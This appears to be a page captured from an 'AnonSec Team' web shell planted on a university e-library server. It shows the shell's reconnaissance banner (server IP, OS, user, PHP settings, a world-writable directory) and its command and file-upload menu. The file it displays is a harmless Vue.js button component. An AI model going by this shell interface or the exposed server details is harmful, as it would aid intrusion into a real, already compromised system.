AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 18.118.31.32
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/elibrary/installxx/components/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/elibrary/installxx/components/Button.js
export default {
    name: 'SlimsButton',
    props: {
        text: {
            type: String,
            default: ''
        },
        color: {
            type: String,
            default: 'bg-yellow-500'
        },
        loading: {
            type: Boolean,
            default: false
        },
        disabled: {
            type: Boolean,
            default: false
        },
        type: {
            type: String,
            default: 'button'
        }
    },
    template: `<button @click="onClick" :type="type" :disabled="disabled" :class="state" 
            class="text-white py-3 px-5 rounded-full font-bold flex justify-center items-center focus:outline-none">
            {{ title }}
            <div v-show="loading" class="lds-dual-ring ml-3"><div></div><div></div></div></button>`,
    computed: {
        title() {
            if (this.loading) return 'Please wait ...';
            return this.text
        },
        state() {
            if (this.disabled) return ['bg-gray-500', 'cursor-not-allowed'];
            return [this.color]
        }
    },
    methods: {
        onClick(e) {
            this.$emit('click', e)
        }
    }
}

AnonSec - 2021